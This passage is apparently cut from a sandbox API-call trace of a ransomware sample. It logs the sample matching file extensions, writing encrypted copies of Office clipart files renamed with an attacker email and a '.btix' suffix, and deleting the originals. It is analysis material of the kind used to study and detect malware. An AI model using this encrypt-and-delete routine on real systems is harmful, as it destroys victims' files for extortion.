lpString2=".WMF") returned -1 [0151.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0151.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0151.515] lstrlenW (lpString=".doc") returned 4 [0151.515] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.515] lstrlenW (lpString=".docx") returned 5 [0151.515] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.515] lstrlenW (lpString=".pdf") returned 4 [0151.515] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.515] lstrlenW (lpString=".xls") returned 4 [0151.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.515] lstrlenW (lpString=".xlsx") returned 5 [0151.515] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.515] lstrlenW (lpString=".ppt") returned 4 [0151.515] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0151.515] lstrlenW (lpString=".zip") returned 4 [0151.515] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.515] lstrlenW (lpString=".rar") returned 4 [0151.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.515] lstrlenW (lpString=".bz2") returned 4 [0151.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.515] lstrlenW (lpString=".7z") returned 3 [0151.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0151.515] lstrlenW (lpString=".dbf") returned 4 [0151.515] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0151.515] lstrlenW (lpString=".1cd") returned 4 [0151.515] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0151.516] lstrlenW (lpString=".jpg") returned 4 [0151.516] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.516] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.516] lstrlenW (lpString="J0103812.WMF") returned 12 [0151.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.516] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=5908) returned 1 [0151.516] CloseHandle (hObject=0x348) returned 1 [0151.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 0x220 [0151.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.516] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.516] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0151.517] GetLastError () returned 0x0 [0151.517] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1714, lpOverlapped=0x0) returned 1 [0151.518] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1720, lpOverlapped=0x0) returned 1 [0151.519] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0151.519] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0151.519] SetEndOfFile (hFile=0x378) returned 1 [0151.519] CloseHandle (hObject=0x378) returned 1 [0151.519] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.519] SetEndOfFile (hFile=0x348) returned 1 [0151.520] CloseHandle (hObject=0x348) returned 1 [0151.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 1 [0151.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0151.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0151.520] lstrlenW (lpString=".doc") returned 4 [0151.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.520] lstrlenW (lpString=".docx") returned 5 [0151.520] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.520] lstrlenW (lpString=".pdf") returned 4 [0151.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.520] lstrlenW (lpString=".xls") returned 4 [0151.521] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.521] lstrlenW (lpString=".xlsx") returned 5 [0151.521] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.521] lstrlenW (lpString=".ppt") returned 4 [0151.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0151.521] lstrlenW (lpString=".zip") returned 4 [0151.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.521] lstrlenW (lpString=".rar") returned 4 [0151.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.521] lstrlenW (lpString=".bz2") returned 4 [0151.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.521] lstrlenW (lpString=".7z") returned 3 [0151.521] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0151.521] lstrlenW (lpString=".dbf") returned 4 [0151.521] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0151.521] lstrlenW (lpString=".1cd") returned 4 [0151.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0151.521] lstrlenW (lpString=".jpg") returned 4 [0151.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0151.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0151.521] lstrlenW (lpString=".doc") returned 4 [0151.521] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.521] lstrlenW (lpString=".docx") returned 5 [0151.521] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.521] lstrlenW (lpString=".pdf") returned 4 [0151.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.522] lstrlenW (lpString=".xls") returned 4 [0151.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.522] lstrlenW (lpString=".xlsx") returned 5 [0151.522] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.522] lstrlenW (lpString=".ppt") returned 4 [0151.522] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0151.522] lstrlenW (lpString=".zip") returned 4 [0151.522] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.522] lstrlenW (lpString=".rar") returned 4 [0151.522] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.522] lstrlenW (lpString=".bz2") returned 4 [0151.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.774] lstrlenW (lpString=".7z") returned 3 [0151.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0151.774] lstrlenW (lpString=".dbf") returned 4 [0151.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0151.775] lstrlenW (lpString=".1cd") returned 4 [0151.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0151.775] lstrlenW (lpString=".jpg") returned 4 [0151.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.775] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.775] lstrlenW (lpString="J0105288.WMF") returned 12 [0151.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0151.775] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=15832) returned 1 [0151.775] CloseHandle (hObject=0x338) returned 1 [0151.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 0x220 [0151.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0151.989] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.989] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0151.991] GetLastError () returned 0x0 [0151.991] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x3dd8, lpOverlapped=0x0) returned 1 [0151.992] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x3de0, lpOverlapped=0x0) returned 1 [0151.993] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0151.993] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0151.993] SetEndOfFile (hFile=0x338) returned 1 [0151.994] CloseHandle (hObject=0x338) returned 1 [0151.994] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.994] SetEndOfFile (hFile=0x398) returned 1 [0151.994] CloseHandle (hObject=0x398) returned 1 [0151.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.995] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 1 [0151.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0151.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0151.995] lstrlenW (lpString=".doc") returned 4 [0151.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.995] lstrlenW (lpString=".docx") returned 5 [0151.995] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0151.995] lstrlenW (lpString=".pdf") returned 4 [0151.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.995] lstrlenW (lpString=".xls") returned 4 [0151.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.995] lstrlenW (lpString=".xlsx") returned 5 [0151.995] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0151.995] lstrlenW (lpString=".ppt") returned 4 [0151.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0151.995] lstrlenW (lpString=".zip") returned 4 [0151.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.995] lstrlenW (lpString=".rar") returned 4 [0151.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.996] lstrlenW (lpString=".bz2") returned 4 [0151.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.996] lstrlenW (lpString=".7z") returned 3 [0151.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0151.996] lstrlenW (lpString=".dbf") returned 4 [0151.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0151.996] lstrlenW (lpString=".1cd") returned 4 [0151.996] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0151.996] lstrlenW (lpString=".jpg") returned 4 [0151.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0151.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0151.996] lstrlenW (lpString=".doc") returned 4 [0151.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.996] lstrlenW (lpString=".docx") returned 5 [0151.996] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0151.996] lstrlenW (lpString=".pdf") returned 4 [0151.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.996] lstrlenW (lpString=".xls") returned 4 [0151.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.996] lstrlenW (lpString=".xlsx") returned 5 [0151.996] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0151.996] lstrlenW (lpString=".ppt") returned 4 [0151.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0151.996] lstrlenW (lpString=".zip") returned 4 [0151.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.996] lstrlenW (lpString=".rar") returned 4 [0151.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.996] lstrlenW (lpString=".bz2") returned 4 [0151.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.997] lstrlenW (lpString=".7z") returned 3 [0151.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0151.997] lstrlenW (lpString=".dbf") returned 4 [0151.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0151.997] lstrlenW (lpString=".1cd") returned 4 [0151.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0151.997] lstrlenW (lpString=".jpg") returned 4 [0151.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.997] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.997] lstrlenW (lpString="J0105292.WMF") returned 12 [0151.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0151.997] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=14868) returned 1 [0151.997] CloseHandle (hObject=0x398) returned 1 [0151.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 0x220 [0151.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0151.998] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.998] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0151.998] GetLastError () returned 0x0 [0151.998] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x3a14, lpOverlapped=0x0) returned 1 [0151.999] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x3a20, lpOverlapped=0x0) returned 1 [0152.000] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.000] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0152.000] SetEndOfFile (hFile=0x338) returned 1 [0152.001] CloseHandle (hObject=0x338) returned 1 [0152.001] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.001] SetEndOfFile (hFile=0x398) returned 1 [0152.001] CloseHandle (hObject=0x398) returned 1 [0152.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.002] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 1 [0152.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0152.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0152.002] lstrlenW (lpString=".doc") returned 4 [0152.002] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.002] lstrlenW (lpString=".docx") returned 5 [0152.002] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0152.002] lstrlenW (lpString=".pdf") returned 4 [0152.002] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.002] lstrlenW (lpString=".xls") returned 4 [0152.002] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.002] lstrlenW (lpString=".xlsx") returned 5 [0152.002] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0152.002] lstrlenW (lpString=".ppt") returned 4 [0152.002] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0152.002] lstrlenW (lpString=".zip") returned 4 [0152.002] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.002] lstrlenW (lpString=".rar") returned 4 [0152.003] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.003] lstrlenW (lpString=".bz2") returned 4 [0152.003] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.003] lstrlenW (lpString=".7z") returned 3 [0152.003] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0152.003] lstrlenW (lpString=".dbf") returned 4 [0152.003] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0152.003] lstrlenW (lpString=".1cd") returned 4 [0152.003] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0152.003] lstrlenW (lpString=".jpg") returned 4 [0152.003] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0152.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0152.003] lstrlenW (lpString=".doc") returned 4 [0152.003] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.003] lstrlenW (lpString=".docx") returned 5 [0152.003] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0152.003] lstrlenW (lpString=".pdf") returned 4 [0152.003] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.003] lstrlenW 